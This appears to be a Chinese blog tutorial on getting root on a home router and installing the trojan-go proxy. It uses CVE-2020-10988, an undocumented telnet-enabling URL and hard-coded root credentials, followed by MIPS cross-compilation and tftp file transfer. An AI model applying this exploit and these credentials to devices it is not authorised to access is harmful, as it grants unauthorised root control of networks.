admin 管理员组

文章数量: 887021

  • 如何在路由器上安装代理服务:详细教程
    • 步骤一:通过漏洞进入路由器系统
    • 开启Telnet服务
    • 使用Telnet登录路由器系统
    • 查看系统信息和CPU信息
    • 步骤二:交叉编译MIPS程序
      • Go对MIPS的支持
    • 安装TFTP Server
    • 使用BusyBox tftp传输文件
    • 在路由器系统中下载编译后的main文件
    • 步骤三:安装和运行代理服务
    • 结论
    • 相关参考:

如何在路由器上安装代理服务:详细教程

在这篇文章中,我们将详细介绍如何在路由器上安装代理服务。这包括从通过Telnet登录路由器系统,到在路由器上运行代理程序的每一个步骤。

步骤一:通过漏洞进入路由器系统

首先,我们需要进入路由器的系统。可以通过搜索该路由器厂商的相关漏洞来实现这一点。例如,CVE-2020-10988是一个已知的漏洞,可以帮助我们访问路由器系统。

开启Telnet服务

访问 http://192.168.0.1/goform/telnet,响应信息显示 telnet is up. 表示Telnet服务已开启。

使用Telnet登录路由器系统

在命令行中输入以下命令,使用默认的用户名和密码登录路由器系统:

telnet 192.168.0.1
用户名:root
密码:Fireitup

查看系统信息和CPU信息

登录成功后,输入以下命令查看系统信息:

~ # cat /proc/version
Linux version 3.3.8 (root@linux-qxix) (gcc version 4.9.3 (Buildroot 2015.08) ) #1 Tue Dec 17 22:33:06 CST 2019

以及CPU信息:

~ # cat /proc/cpuinfo
system type             : Qualcomm Atheros QCA956X rev 0
machine                 : Qualcomm Atheros AP152 reference board
processor               : 0
cpu model               : MIPS 74Kc V5.0
BogoMIPS                : 385.84
wait instruction        : yes
microsecond timers      : yes
tlb_entries             : 32
extra interrupt vector  : yes
hardware watchpoint     : yes, count: 4, address/irw mask: [0x0000, 0x0ff8, 0x0ff8, 0x0ff8]
ASEs implemented        : mips16 dsp
shadow register sets    : 1
kscratch registers      : 0
core                    : 0
VCED exceptions         : not available
VCEI exceptions         : not available

步骤二:交叉编译MIPS程序

根据上一步获取的CPU信息,我们知道该路由器使用的是MIPS架构的处理器。因此,我们需要使用Go语言交叉编译一个MIPS程序。

Go对MIPS的支持

参考Go的官方文档,确认Go对MIPS的支持情况:
获取上述信息后,使用 Go 交叉编译 MIPS 程序。
Go MIPS支持

安装TFTP Server

我们需要安装一个TFTP服务器以便在路由器和本地机器之间传输文件。可以使用tftpd64:

TFTP服务器

使用BusyBox tftp传输文件

路由器系统中一般预装了BusyBox,可以使用tftp命令从TFTP服务器下载或上传文件。

Usage: tftp [OPTIONS] HOST [PORT]

Transfer a file from/to tftp server

        -l FILE Local FILE
        -r FILE Remote FILE
        -g      Get file
        -p      Put file
        -b SIZE Transfer blocks of SIZE octets

下载文件:

tftp -g -r FilePath Host

上传文件:

tftp -p -l FilePath Host

在路由器系统中下载编译后的main文件

tftp -g -r main 192.168.0.142
main                 100% |********************************************************|  1088k  0:00:00 ETA

下载完成后,给文件添加执行权限并运行:

chmod +x main
./main

运行后应该看到类似 Hello cheungxiongwei 的输出。

步骤三:安装和运行代理服务

下载trojan-go
我们选择下载mips-softfloat版本的trojan-go。下载完成后,将压缩包转换成tar格式,以便在路由器系统中解压。
部署代理即可通过路由器访问外面的世界了。

结论

通过以上步骤,我们成功在路由器上安装并运行了一个代理服务。这使得路由器能够通过代理访问外部网络。通过详细的教程,我们可以轻松实现这一目标,并为日后的网络优化提供更多可能性。

相关参考:

  • https://cloud.tencent/developer/article/2207058
  • https://blog.securityevaluators/tenda-ac1900-vulnerabilities-discovered-and-exploited-e8e26aa0bc68
  • https://www.ise.io/wp-content/uploads/2020/08/kicking_devices_and_taking_cves.pdf

本文标签: 路由 代理服务 器上 教程 详细